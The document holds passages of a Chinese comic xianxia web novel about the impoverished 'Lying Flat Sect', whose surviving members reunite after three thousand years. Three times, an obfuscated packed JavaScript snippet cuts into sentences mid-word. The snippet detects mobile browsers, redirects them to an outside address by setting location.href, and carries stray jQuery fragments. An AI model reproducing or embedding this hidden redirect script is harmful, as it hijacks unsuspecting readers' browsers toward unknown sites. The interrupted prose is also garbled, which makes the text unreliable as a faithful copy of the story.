“不知道。”他说,“我只打听到,那个人在附近几个宗门都问过,问有没有人知道躺平宗的事。” 他顿了顿。 “他提到一个名字。” 归尘的眼神一凝。 “谁?” 徐修看着他,一字一顿地说: “善渊。” 归尘的手微微抖了一下。 善渊。 那是大师兄的名字。 但沈念说过,他师父临终前把玉简交给他,让他下山找人。 那个善渊,已经不在了。 那现在打听消息的这个人,是谁? “不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387678|200271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是谁。”他说,“但那人打听的,是善渊这个人,不是‘躺平宗的善渊’。他问的是‘你们听说过一个叫善渊的人吗’,而不是‘你们知道躺平宗吗’,只是有一回说漏嘴提到了躺平宗。” 他顿了顿。 “这说明,他知道善渊是躺平宗的,可是他又不能在明面上提躺平宗,这样的人……只能是故人了。” 归尘的眉头皱起来。 “我觉得有可能是……”他顿了顿,“是三师弟。” 归尘愣住了。 三师兄。 那个总是笑眯眯的、最爱偷吃他糕点的三师兄。 那个每次他犯错都会替他求情、然后偷偷敲他脑袋的三师兄。 他也还活着? “你确定?”归尘的声音有些发抖。 徐修摇摇头。 “不确定。”他说,“只是猜测。但除了本宗人,还有谁会这样打听?” 归尘沉默了。 他看着月亮,看了很久很久。 然后他开口了,声音很轻。 “如果真的是他……” 他没有说完。 但所有人都懂。 如果真的是三师兄,那这三千年的等待,就又多了一个人。 沈念坐在旁边,低着头,一言不发。 他师父已经走了。 走之前,把玉简交给他,让他下山找归尘师叔。 他找到了。 他还见到了二师伯,还有望见到三师伯。 可师父再也看不到了。 归尘转过头,看见沈念低着头的样子。 他伸出手,在沈念脑袋上敲了一下。 沈念抬起头,眼眶红红的。 归尘说:“不必替师兄难过,你替他见过了我们,已经做的很好了。” 第二天早上,太阳刚升起来,柴房里传来一声巨响。 “砰——!” 这次炸的不是厨房,是柴房门口——宋栀子说她在试验新发明的“便携式灵气炉”,结果炉子炸了,把门炸飞了。 归尘睁开眼,发现自己躺在废墟里。 旁边躺着徐修。 再旁边躺着沈念。 三个人姿势一致,身上都落满了灰,头发上都插着茅草,脸上都带着一种“又来了”的平静。 他们对视了一眼。 归尘说:“习惯就好。” 徐修点点头:“快了。” 外面传来宋栀子和祁幻的喧闹声。 宋栀子认真地喊:“我下次一定注意!” 祁幻沉默了。 那沉默里包含的复杂情绪,隔着柴房都能感受到。 典星河的声音懒洋洋地传来:“早饭好了吗?” 穆惇的声音平静地传来:“锅没了。” 典星河沉默了一会儿。 “那吃什么?” 祁幻的声音带着哭腔:“我……我去买……” 牧殇的声音插进来,带着笑:“买馒头吧,馒头炸不了。” 宋栀子的声音不服气:“我可以发明一个炸馒头的机器!” 牧殇:“那你发明啊!” 宋栀子:“我正在想!” 归尘听着外面的动静,嘴角弯了弯。 他对着外头喊:“丫头,省着点玩,这全世界可就一个钱多多。” 外面安静了一秒。 然后传来宋栀子的声音:“知道啦——!” 祁幻的哭腔更浓了:“你们能不能不要这样对我——!” 归尘收回目光,看向徐修和沈念。 “走吧。”他说,“吃早饭。” 徐修看着他。 “吃什么?” 归尘想了想。 “馒头吧。”他说,“馒头炸不了。” 沈念在旁边小声说:“万一宋师姐真的发明个‘灵气增压蒸馒头机’呢?” 归尘沉默了。 徐修也沉默了。 三个人一起想象了一下那个画面——馒头在灵气增压下“砰”地炸开,满天的馒头渣像雪一样飘下来。 然后他们一起打了个寒颤。 “走吧。”归尘说,“先去看看再说。” 他们站起来,拍了拍身上的灰。 归尘走了两步,又回头,看了一眼那个被炸飞的门。 “丫头爱玩就玩好了,”他说,嘴角带着一丝笑,“总归炸不死我们。” 徐修看着他,也笑了。 三千年了。 这个小师弟,终于会笑了。 【章末小剧场:躺平宗摸鱼群】 钱多多:@所有人,今日支出:柴房门五十文(被炸),早饭馒头十文,宋栀子新发明材料一百文。今日进账:无。心情:平静中带着一丝绝望,但好像没那么绝望了。 赵铁柱:@钱多多,你昨天拜师了? 钱多多:嗯。 赵铁柱:那你以后…… 钱多多:该崩溃还得崩溃,只是有人一起崩溃了。 徐修:? 王甜甜:哈哈哈哈哈哈师伯被拉下水了! 李翠花:恭喜下水。 典星河:@徐修,习惯就好。 徐修:…… 沈念:师伯,我当初也是这么被说的。 归尘:习惯就好。 徐修:你们就这一句? 赵铁柱:还有一句:快了。 徐修:…… 王甜甜:哈哈哈哈哈哈 钱多多:对了,那个打听消息的人,有后续吗? 徐修:还没有,我托人留意了。 归尘:不急。 沈念:嗯,不急。 赵铁柱:万一真是三师伯呢? 王甜甜:那咱们宗门就又多一个人了! 李翠花:多一个人,多一张嘴。 钱多多:…… 钱多多:师姐你能不能盼点好的? 李翠花:实话。 典星河:@钱多多,多张嘴没事,多买点肉就行。 钱多多:掌门,您真的只是想吃肉吧? 典星河:被你发现了。 赵铁柱:哈哈哈哈哈哈 王甜甜:哈哈哈哈哈哈 徐修:@归尘,你这宗门…… 归尘:习惯就好。 徐修:…… 徐修:我睡了。 钱多多:师父晚安! 沈念:师伯晚安! -- 18. 烟雨江湖 祁幻发帖的时候,其实没想那么多。 那天晚上,他照例打开仙网论坛,准备刷刷今天的八卦。结果一进去,发现首页飘着一个热帖—— 【悬赏】谁认识一个叫“善渊”的人?重金求线索! 发帖人:烟雨江湖 帖子内容很简单:善渊,男,约三千岁,擅长剑法,性格温和。有知情者请联系,重谢。 底下评论已经炸了: “三千年前?你找鬼呢?” “这名字听着挺耳熟的,好像在哪儿听过……” “楼上你别走!在哪儿听过?” “想不起来了……” “又一个想红想疯了的。” 祁幻盯着那个帖子,脑子里突然闪过一道光。 善渊。 那是徐师伯提过的名字。归尘前辈的大师兄,沈念的师父。 他犹豫了很久。 他在想会不会是师父提到的那位师叔? 他咬了咬牙,注册了一个新小号——反正牧殇有十七个,他注一个怎么了——在帖子下面回了一条: “我好像听说过这个名字。但需要更多信息确认。” 发完他就后悔了。 万一是仇家怎么办?万一是来钓鱼的怎么办? 他正想着,玉简突然亮了。 私信。 发件人:烟雨江湖 内容只有一句话:“你在哪儿?” 祁幻的手抖了抖。 他深吸一口气,回复:“你先告诉我你是谁。” 对方沉默了很久。 久到祁幻以为对方不会再回复了,玉简才再次亮起。 “我是他师弟。”顿了顿,又发来一条,“但我不能告诉你更多。如果你真的知道什么,给我一个地址,我去找你。” 祁幻看着那行字,心跳如鼓。 他回复了一个地址:青云山脉以西三百里,翻过两座山,看见一个破山门就到了。 然后他补了一句:宗门很破,别嫌弃。 对方回复:好。 再无消息。 三天后的傍晚,山门外来了一个人。 不是走来的。 是飞来的。 一把剑从天而降,稳稳地落在山门外。剑上跳下来一个人,收剑入鞘,动作干净利落。 有些违和的是,他背着一个巨大的包袱。 那包袱大得离谱,比他人还高,鼓鼓囊囊的,不知道塞了什么东西。他每走一步,包袱就晃一晃,看起来随时会把他压趴下。 但他还是走得很稳。 一步一步,沿着那条坑坑洼洼的土路,往山门走来。 走到歪脖子树下的时候,他停下来,把包袱放在地上。 然后他直起腰,擦了擦额头上并不存在的汗。 傍晚的日光照在他脸上。 那是一张很年轻的脸,看起来不过三十出头。眉眼温和,嘴角带着一丝若有若无的笑意。他的头发用一根木簪随意束起,有几缕散落在肩上。 他穿着一身青衫,干干净净,连一个褶子都没有。 他站在那里,看着那块掉了半边的牌匾。 看了很久很久。 然后他笑了。 “‘躺干宗’。”他轻声念道,声音温和得像春风,“这字是谁写的?丑得有点意思。” 他低下头,看了看自己。 然后他打开那个巨大的包袱,开始往外掏东西。 一个水囊。 一块帕子。 一面小镜子。 一把梳子。 他对着镜子仔细整理了一下头发,用帕子擦了擦脸,喝了一口水漱了漱口。 然后他把东西收好,包袱重新背上,深吸一口气。 “好了。”他自言自语,“可以见人了。” 他迈步往里走。 就在这时,一个人从柴房里走出来。 那人一头白发如雪,披散在肩上,衬得那张脸愈发清冷。眉眼精致得不像是真人,眼尾微微上挑,带着一丝慵懒。他穿着一件灰扑扑的袍子,却掩不住周身那种淡淡的光华。 他站在柴房门口,手里攥着一把瓜子,看着山门的方向。 目光相接。 背包袱的人愣住了。 白发的人愣住了。 两人就这么对视着,谁都没有说话。 过了很久很久。 背包袱的人先开口了。 “小尘,你的头发……”他的声音有点抖,“还是这么白。” 白发的人没有说话,但他的眼眶悄悄的红了。 “小尘。”背包袱的人轻声叫了一句。 那个名字一出口,白发的人眼泪终于掉下来。 “三师兄。”他说。 那人,是归尘的三师兄。 姓安,单名一个然字。 三千年前躺平宗灭门那一夜,他是被大师兄推进传送阵的。 跌进传送阵的时候,他回头看了一眼。 看见师父的背影,看见大师兄冲他挥手,看见二师兄被一掌推出山门。 然后眼前一白,什么都不见了。 醒来的时候,躺在一片荒原上。浑身是伤,躺了七天才能站起来。 他找了很久很久。 没有找的回家的路。 “我以为……只剩我一个人了。”安然坐在主殿门口,接过祁幻递来的水,端在手里。 他看向归尘。 “这些年,我路过很多宗门,打听过很多人。有人跟我说,有个宗门叫躺平宗,名字挺有意思。我问在哪儿,那人说,不知道,很小,很偏,没人在意。” 他顿了顿。 “我没放在心上。天下叫这名字的宗门,没有一千也有八百。” 归尘点点头。 “后来呢?” “后来我打算发帖找人,我想大师兄修为在我们之上,肯定会活下来的,我开始找他,一直没有线索,直到前几天有人回复我的帖子。” 他看向祁幻。 “是你发的?” 祁幻点点头。 安然笑了。 “胆子不小。”他说,“万一我是骗子呢?” 祁幻缩了缩脖子。 “我、我当时没想那么多……” 安然摆摆手。 “没事。”他说,“幸好你也不是骗子。” 他顿了顿。 “但我还是不敢直接来。我托人打听了好久,确认这个地方确实有个躺平宗,人不多,很穷,天天有人炸东西。我想,这么穷的宗门,应该不是陷阱——陷阱一般都会装得有钱一点。” 牧殇在旁边“噗”地笑出声。 “师伯,您这是什么逻辑?” 安然看了他一眼。 “三千年活下来的逻辑。”他说。 忽地,山门外传来一阵脚步声。 众人回头。 一个灰扑扑的身影正从山门外跑进来,手里提着一大包东西,跑得气喘吁吁。 是徐修。 他今早下山买东西去了,说是要去镇上买点好酒。 他跑进来的时候,嘴里还在念叨:“祁幻那小子说今天有人来,我紧赶慢赶,总算没——” 话说到一半,他突然停住了。 因为他看见了坐在主殿门口的那个人。 青衫,木簪,温和的眉眼。 还有那个巨大的包袱。 徐修手里的东西“啪”地掉在地上。 他站在那里,一动不动。 安然也看见了他。 他慢慢站起来。 两人对视着,谁都没有说话。 院子里安静得能听见风吹过茅草的声音。 过了很久很久,徐修开口了。 他的声音沙哑得像砂纸。 “三……三师弟?” 安然看着他,眼眶慢慢红了。 “二师兄。”他说,“你怎么老成这样了?” 徐修愣了一下。 然后他突然笑了。 他大步走过去,张开双臂,一把抱住了安然。 抱得很紧很紧。 安然被他抱得有点喘不过气,但他没有推开。 他伸出手,也抱住了徐修。 两人就这么抱着,谁都没有说话。 归尘站在旁边,看着他的两个师兄抱在一起。 过了好一会儿,徐修松开手,后退一步,上下打量着安然。 “你这三千年都干嘛去了?”他问,“怎么一点没老?” 安然理了理被他弄皱的衣襟。 “保养得好。”他说,“每天洗脸,定期敷面膜,三千年来从未间断。” 徐修沉默了。 “你怎么找到这儿的?” 安然看向祁幻。 “你问他。” 徐修转头看向祁幻。 祁幻被他看得有点紧张,缩了缩脖子。 “我……我在论坛上看到师伯发的帖子,就……就回了一句……” 徐修看着他,眼神复杂。 然后他走过去,在祁幻脑袋上——停了一下,想起什么,改成拍了拍他的肩膀。 “干得不错。”他说。 祁幻愣住了。 这是徐修第一次夸他。 “师父……”他小声叫了一句。 徐修点点头,又拍了拍他的肩膀。 然后他走回安然身边,一屁股坐下。 “行了,”他说,“坐下说。三千年的故事,够讲一夜了。” 那天晚上,月亮很圆。 九个人围坐在主殿门口,挤得满满当当。 安然从包袱里掏出几瓶酒,摆在桌上。 “自家酿的。”他说,“喝点?” 徐修眼睛亮了:“你酿的?当年你酿的酒,大师兄可是藏起来舍不得喝。” “那是我偷他的方子。”安然说,“后来自己琢磨了三年,总算酿出一样的了。” 他给每个人都倒了一杯。 连宋栀子都分到一小杯——安然说“小孩可以尝一口”。 宋栀子尝了一口,眼睛亮了。 “好喝!” 安然点点头。 “那就多喝点。”他说,“我带了十瓶。” 祁幻在旁边算账:“十瓶,一瓶如果卖十两,那就是一百两……” 安然看了他一眼。 “这酒不卖。”他说。 酒过三巡,气氛越来越热闹。 牧殇拉着安然讲他那些年的奇遇,安然也不烦,一边讲一边喝。 讲着讲着,牧殇突然想起什么。 “对了师伯,”他说,“之前好多人想来咱们宗门拜师,掌门都不让进。说什么‘命里与躺平宗无缘’,‘三年内必被宋栀子的发明炸到’之类的,结果跟着前辈已经来了四个人了。” 安然看向典星河。 典星河躺在摇椅上,慢悠悠地嗑着瓜子。 “怎么?”她问,“你想说什么?” 牧殇挠挠头。 “我就是好奇,”他说,“那些人您都不让进,怎么现在来了这么多师伯,您都收了?” 典星河想了想。 “他们都是有缘人。”她说,“缘分这东西,说不清的。” 安然愣了一下,有缘人…… “有缘人,”他轻声重复,“这个词好。” 他举起酒杯,对着典星河。 “敬有缘人。” 夜深了。 众人都回屋睡了。 归尘、徐修、安然三个人,挤在柴房里。 柴房很小,只有一张床——其实是干草堆。 归尘躺最里面,徐修躺中间,安然躺最外面。 三个人挤得紧紧的,肩膀挨着肩膀。 安然看着柴房顶上那个洞,月光从洞里照进来,洒在他脸上。 沉默了很久很久。 然后他开口了。 “大师兄……”他的声音很轻,“最后怎么样了?” 归尘的身体僵了一下。 徐修也没说话。 过了好一会儿,徐修才开口。 “不知道。”他说,“我只知道,他是最后一个走的。” 安然沉默了。 归尘的声音从里面传来,闷闷的。 “师父让我走的时候,我看见他站在阵外。”他说,“他在笑。” 安然的眼眶红了。 “他那人,”他说,“一辈子都在笑。不管多难的事,他都笑着扛。” 徐修点点头。 “是啊。”他说,“小时候我闯了祸,他替我挨罚,还在笑。我问他不疼吗?他说,疼,但笑一笑就不那么疼了。” 三个人都沉默了。 月光静静地照着。 过了很久,安然突然笑了。 “你们说,他要是知道咱们现在躺在这个破柴房里,会说什么?” 徐修想了想。 “他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387679|200271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会说,”他学着大师兄的语气,“‘你们几个,怎么混成这样了?’” 归尘接了一句:“然后掏出一把瓜子,分给我们。” “是啊,”安然说,“他最爱嗑瓜子了。小时候老偷你的瓜子,小尘你还记得吗?” 归尘点点头。 “记得。”他说,“每次我藏起来,他都能找到。” “那是因为我告诉他的。”徐修说。 归尘转头看他。 徐修心虚地移开目光。 “你那会儿太小了,”他说,“我怕你嗑多了上火。” 归尘沉默。 安然在旁边笑得直抖。 “二师兄,”他说,“你也有今天。” 徐修瞪他一眼,对着归尘赔笑:“现在吃,你吃多少我都不管你。” 笑了一会儿,安然突然想起什么。 “对了,”他说,“四师妹……你们有她的消息吗?” 归尘愣住了。 四师姐。 那个总是笑眯眯的、最会卜卦的四师姐。 师父当年说,她天赋最高,将来一定能成大事。 “没有。”徐修说,“我一直以为她……不在了。” 归尘摇摇头。 “我也没找到过。” 安然沉默了一会儿。 “她最会卜卦。”他说,“要是她还在,肯定能算到我们在哪儿。” 他顿了顿。 “也许她也在找我们。” 三个人都不说话了。 月光静静地照着。 过了很久,归尘开口了。 “会有那么一天的。”他说。 柴房外面,歪脖子树下,典星河和穆惇蹲在一起。 穆惇难得没有去睡觉。 她看着柴房的方向,听着里面隐隐约约传来的说话声。 “不容易。”她说,“三千年了,还能找到彼此,缘分是一种很奇妙的东西。” 典星河转头看她。 “你在想什么?” 穆惇想了想。 “在想,”她说,“这些老古董能聚在一起,不容易。” 典星河笑了。 “还有咱们这些奇葩,也不容易。”她说。 穆惇静静的看着她出神。 典星河继续嗑瓜子。 “你知道这宗门当初是怎么建起来的吗?”她问。 穆惇摇摇头。 典星河看着月亮,声音很轻。 “我师父建的。”她说,“那时候人还挺多,几十号人。师父说要打造一个最舒服的宗门,不用卷,不用拼,躺平就好。” 穆惇没说话。 典星河继续说。 “后来我给师父算了一卦。”她说,“算到她还有两个时辰的寿元。” 穆惇愣住了。 典星河笑了笑,笑得有点苦。 “我那时候年轻,算出来自己都不信。我跑去跟师父说,师父,我算到您还有两个时辰。她看了我一眼,说,是吗?那得抓紧吃点好的。” 穆惇的眼眶红了。 典星河的声音越来越轻。 “他们都以为我在开玩笑。毕竟我那时候算卦,十卦九错。” 她顿了顿。 “结果两个时辰后,师父真的走了。” 典星河没有哭,只是声音带着些哭腔。 她只是看着月亮,眼神平静得像一潭深水。 “他们都说是我害死的。”她说,“说我学了邪术,诅咒师父,师父就被我咒死了。” “后来呢?” “后来人就散了。”典星河说,“走的走,散的散。最后只剩下我一个。” 她转过头,看着柴房的方向。 “我就想,我得建个宗门。”她说,“有个地方,让想留下的人留下。” 穆惇沉默了很久。 然后她伸出手,在典星河肩上拍了拍。 典星河愣了一下。 “没事,”她说,“都过去了。你做到了,你给了旅人一个家。” 两人一起看着柴房的方向。 月亮很亮。 风很轻。 柴房里,隐隐传来三个人的笑声。 突然,柴房里传来一声惊呼。 “什么?!经常炸?!” 是安然的声音。 紧接着,安然从柴房里冲出来,手里拿着一个巴掌大的小圆盘。 “防护阵!”他喊,“得赶紧设防护阵!” 他跑到柴房门口,蹲下来,开始摆弄那个圆盘。 归尘和徐修从柴房里探出头来,看着他。 “三师兄,”归尘说,“你不用这么急……” “不急?!”安然回头看他,“你们天天被炸,还不急?!” 他继续摆弄那个圆盘,嘴里念念有词。 “灵力输入……阵纹激活……范围覆盖……” 三息后,一道淡淡的光幕从圆盘上扩散开来,笼罩了整个柴房。 安然站起来,拍了拍手。 “好了。”他说,“能挡住八成冲击。” 他回头看向归尘和徐修。 “剩下的两成,”他说,“你们自己扛。” 沉默。 他说,“明天我再给你们设几个,把厨房、茅房、主殿都罩上。” 他走回柴房,重新躺下。 归尘和徐修也躺下。 三个人又挤在一起。 安然看着柴房顶上那个洞,月光照进来。 “小尘,”他说,“你这儿虽然破,但挺好。” 归尘问:“怎么好?” 安然想了想。 “热闹。”他说,“有人炸,有人笑,有人崩溃,有人哭。” 他顿了顿。 “像个家。” 归尘没说话。 但他的嘴角弯着。 【章末小剧场:躺平宗摸鱼群】 钱多多:@所有人,今日支出:厨房维修预估二百文(待定),早饭馒头十文。今日进账:无。心情:复杂但高兴。 安然:对了,刚才小尘说你们这儿经常炸? 王甜甜:对啊!每天都炸! 安然:我明天多设几个防护阵。 钱多多:师伯还会设阵? 安然:会一点,大部分冲击得你们自己抗。 钱多多:??? 安然:看着教程学的。 王甜甜:师伯你太可爱了! 19. 我们是一家人 安然设的防护阵,第二天就毁了。 不是被炸的,是宋栀子蹲在旁边研究了半天,然后伸出手,轻轻拍了拍阵盘的中心。 “原来是这样——”她话音未落,阵盘“嗞”的一声,冒出一股青烟。 然后灭了。 安然站在柴房门口,看着自己精心布置的阵盘变成一块黑乎乎的废铁,沉默了整整一盏茶的时间。 他的表情从茫然到震惊,从震惊到难以置信,从难以置信到一种深沉的、哲学家般的绝望。 然后他缓缓转头,看向宋栀子。 “你……” 宋栀子眨眨眼,一脸无辜:“我就是想看看里面是什么结构……” 安然深吸一口气。 “习惯就好,别对着丫头发火。”归尘说。 安然没理他,继续盯着宋栀子。 宋栀子被他看得有点心虚,往后退了一步。 “师、师伯,您别这么看我……我下次不拍了……” 安然又沉默了三秒。 然后他突然笑了。 笑得宋栀子心里发毛。 “丫头,”他说,“你想不想学这个?” 宋栀子愣住了。 “啊?” 安然指着那个阵盘。 “这东西,我研究了三十年才学会。”他说,“你拍一下就给拍废了——这说明什么?” 宋栀子茫然地摇摇头。 安然说:“说明你有天赋。” 宋栀子:“???” 牧殇在旁边笑得直拍大腿:“师伯,您这是什么逻辑?” 安然没理他,继续对宋栀子说:“你知道我当年学阵法的时候,师父怎么说的吗?” 宋栀子摇摇头。 安然叹了口气。 “他说,你这脑子,学什么都慢,但学什么都能学会。因为你不怕失败。” 他顿了顿。 “你拍废一个阵盘,就学会了‘不能拍阵盘’这个道理。这不比看书快?” 宋栀子愣住了。 然后她的眼睛慢慢亮起来。 “师伯,我跟你学!” “还叫什么师伯,叫师父。” 宋栀子甜甜地叫了一声,“师父。” “行。”他说,“从今天开始,我教你。” 他站起来,走到包袱旁边,开始往外掏东西。 一堆阵盘,几本书,一支笔,一个本子。 “阵法的基本原理,灵力运行的方式,阵纹的绘制方法——”他一边掏一边说,“先从最基础的开始。” 宋栀子凑过去,眼睛亮晶晶的。 归尘蹲在旁边,继续嗑瓜子。 徐修走过来,在他旁边蹲下。 “你三师兄,”他说,“也收徒弟了。” “嗯。” “你说他能教好吗?” 归尘想了想。 “不知道。”他说,“但肯定会炸。” 徐修沉默了。 两个时辰后。 柴房门口摆了一堆阵盘,宋栀子蹲在地上,手里拿着笔,面前摊着一个本子。 安然站在旁边,指着其中一个阵盘。 “这个,是最基础的防护阵。灵力输入要均匀,阵纹要画得流畅,不能断,不能歪。” 宋栀子点点头,拿起笔,开始在本子上画。 画了一会儿,她抬起头。 “师伯,我画好了。” 安然凑过去看了一眼。 沉默。 再沉默。 然后他抬起头,看向归尘。 “小尘,”他说,“你确定她平时炸东西,是因为控制不好?” 归尘点点头。 “嗯。我觉得是。” 安然又看了看那个本子——上面画着一团乱麻,但仔细看,那团乱麻里隐隐约约能看出阵纹的轮廓。 “这叫控制不好?”他说,“这叫天赋异禀。” 宋栀子眼睛亮了。 “真的?” 安然点点头。 “真的。”他说,“你只是不知道该怎么控制。就像一把剑,你有了,但不知道怎么用。” 他拿起一个空白的阵盘,递给宋栀子。 “来,试试。” 宋栀子接过来,深吸一口气,输入灵力。 阵盘亮了一下,又灭了。 宋栀子有些泄气。 “灵力太猛了。”安然说,“你得学会收着点。像这样——” 他拿起另一个阵盘,慢慢输入灵力。阵盘亮起来,稳定地发出淡淡的光。 “看见了吗?匀速,均匀,不急不躁。” 宋栀子点点头,又试了一次。 这次阵盘亮了起来,虽然没有安然那么稳定,但坚持了三息才灭。 安然笑了。 “有进步。”他说,“继续。” 宋栀子又试了一次。 第十次的时候,阵盘稳定地亮了十息。 宋栀子抬起头,满脸兴奋。 “师伯!我成功了!” 安然点点头。 “嗯。”他说,“接下来,你试试在灵力输入的时候,同时绘制阵纹。” 宋栀子愣住了。 “同、同时?” 安然点点头。 “阵法的核心就在这里。”他说,“灵力是血液,阵纹是骨架。两者要同时完成,才能成型。” 宋栀子深吸一口气,拿起笔。 然后她开始画。 灵力输入,阵纹绘制,同时进行。 三息后。 “砰——!” 阵盘炸了。 宋栀子被炸了一脸灰,头发又变成了蒲公英。 她只是愣愣地看着那个炸成碎片的阵盘。 安然走过来,蹲在她旁边。 “知道为什么炸了吗?” 宋栀子想了想。 “灵力……太快了?” 安然点点头。 “还有呢?” 宋栀子又想了一会儿。 “阵纹……画歪了?” 安然又点点头。 “还有呢?” 宋栀子想不出来了。 安然笑了。 “还有最重要的一点,”他说,“你太急了。” 他站起来,拍拍手上的灰。 “阵法这东西,急不得。慢一点,稳一点,一步一步来。” 他看着宋栀子。 “你平时发明,是不是也这样?想到什么就做什么,不管不顾?” 宋栀子有些羞愧的低下头。 安然笑了。 “那不是缺点。”他说,“那是你的特点。但你得学会控制。就像这把剑,你得知道什么时候该快,什么时候该慢。” “慢慢来。”他说,“我教你。” “谢谢师父,我一定跟您好好学。” 那天晚上,月亮依然很圆。 众人都回屋睡了。 典星河一个人躺在摇椅上,看着月亮发呆。 归尘从柴房里走出来,在她旁边蹲下。 “睡不着?”他问。 典星河摇摇头。 “不想睡。” 归尘没说话,只是递给她一把瓜子。 两人一起嗑瓜子,一起看月亮。 过了好一会儿,典星河突然开口。 “前辈,”她说,“我能问你个问题吗?” 归尘点点头。 “问。” 典星河看着月亮,声音很轻。 “你师父……是个什么样的人?” 归尘愣了一下。 然后他想了想。 “温柔的人。”他说,“话不多,但每一句都在点上。从来不骂我们,但我们都怕他。” “怕他?” 归尘点点头。 “因为他从来不骂。”他说,“你犯错,他就看着你。看一会儿,然后说,‘下次别这样了。’就这么一句,你就觉得,比骂一顿还难受。” 典星河笑出了声。 “这招厉害。”她说。 归尘也笑了。 “是啊。”他说,“后来我们几个都学会了。二师兄管账的时候,就学他那一套。你问他‘师父,这账对吗?’,他就看着你,不说话。你看他一眼,就赶紧回去重算。” 典星河笑得肩膀一抖一抖的。 笑着笑着,渐渐沉默。 归尘看着她。 “怎么了?” 典星河摇摇头。 “没什么。”她说,“就是……想起我师父了。” 归尘没说话。 典星河继续说:“我师父……跟你师父有点像。” “哦?” “她也不爱骂人。”典星河说,“但她爱笑。不管什么事,她都笑着说。 我给她算那一卦的时候,她也笑。我说,师父,你还有两个时辰。她说,好啊,那咱们抓紧吃点好的。” 典星河的眼眶有点红,声音很轻。 “她就那么笑着走了。”她说,“笑着看着我,一句话都没怪我。” 归尘沉默了很久。 然后他开口了。 “你师父,”他说,“叫什么名字?” 典星河愣了一下。 “怎么突然问这个?” 归尘看着她,眼神认真。 “叫什么?” 典星河想了想。 “她姓夏。”她说,“名轻鸿,夏轻鸿。” 归尘的身体僵住了。 他的手微微发抖。 瓜子从指缝里漏出来,落在地上。 “咔哒咔哒”几声。 典星河愣住了。 “前辈?” 归尘看着她,眼眶慢慢红了。 “你说……她叫夏轻鸿?” 典星河点点头。 “怎么了前辈?” 归尘的眼泪终于流下来。 “四师姐。”他说,“是四师姐。” 典星河愣住了。 “什么?” 归尘深吸一口气,努力让自己的声音平稳下来。 “你师父,”他说,“是我四师姐。” 典星河呆呆地看着他。 “你……你说什么?” “夏轻鸿,是我四师姐。” 她张了张嘴,想说点什么,却一个字都说不出来。 “你知道吗,”他望着天,“四师姐自小,最会卜卦。师父说,她天赋最高,将来一定能成大事。” 他笑了。 “你刚才说的那些——笑着看人,从不骂人,爱吃好东西——都像她。” 典星河低下头,用手捂住脸。 肩膀微微发抖。 “前辈,对不起……是我,是我害死了师父……” “傻丫头,哪有算卦害人的?我们没有人怪你,是你放不过自己。师姐命数已尽,人间自是留不住。” 二人沉默了一会儿。 归尘说,“但既然她收了徒弟,建了宗门,那她一定有她的打算。” 他看着月亮,声音很轻。 “四师姐那人,从小就聪明。她做的事,一定有她的道理。” 典星河没说话。 归尘继续说:“她把你养大,教你本事,让你继承这个宗门。她肯定希望你好好的。” 他转头看向典星河。 “你做到了。” 她轻声说:“师父说,她以前也有个家。有个大师兄,有个二师兄,有个三师兄,有个小师弟。她说,要是他们还在,肯定会喜欢我。” “会的。”他说,“我们都很喜欢你。” 典星河看着他,看了很久。 然后她轻轻笑了。 “前辈,”她说,“你说,这是不是缘分?” 归尘想了想。 “是。”他说。 “我师父建的宗门,收了我。我把你们一个个捡回来,结果你们都是我师父的师兄弟。” 归尘点点头。 “缘分这东西,”他说,“说不清。” 典星河笑了。 “是啊,”她说,“说不清。” 两人一起看着月亮。 那天晚上,柴房里格外安静。 归尘、徐修、安然三个人并排躺在干草堆上,看着屋顶那个洞。 月光从洞里照进来,在三人脸上投下斑驳的光影。 谁都没有说话。 但谁都没有睡着。 过了很久,安然突然开口了。 “小尘,”他说,“你说四师妹收徒弟的时候,是什么样子的?” 归尘想了想。 “应该是笑着的。”他说,“她那人,做什么都笑着。” 徐修在旁边接了一句:“那丫头从小就会笑。师父罚她,她笑着认罚。师兄骂她,她笑着点头。我那时候老觉得她是不是傻。” 安然笑出了声。 “她不傻。”他说,“她是真不在乎。” 归尘点点头。 “她只在乎自己在乎的。” 徐修沉默了一会儿。 “她在乎咱们。”他说,“她收这个徒弟,八成也是因为……” 他没说完。 但其他两个人都懂。 因为那个徒弟,和当年的他们一样——没有家。 安然叹了口气。 “三千年前,咱们一百多号人。”他说,“热热闹闹的,天天有人吵架,天天有人偷东西吃。 现在呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387680|200271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?咱们三个,躺在这个破柴房里,旁边睡着一个爱炸东西的丫头,外面躺着一个爱晒太阳的掌门,还有一个爱种地的丫头,一个话痨,一个管账的。” 他笑了。 “就这几个人,还天天赤字。” 徐修瞪他一眼。 “你懂什么?”他说,“这叫精简。人少,省粮食。” 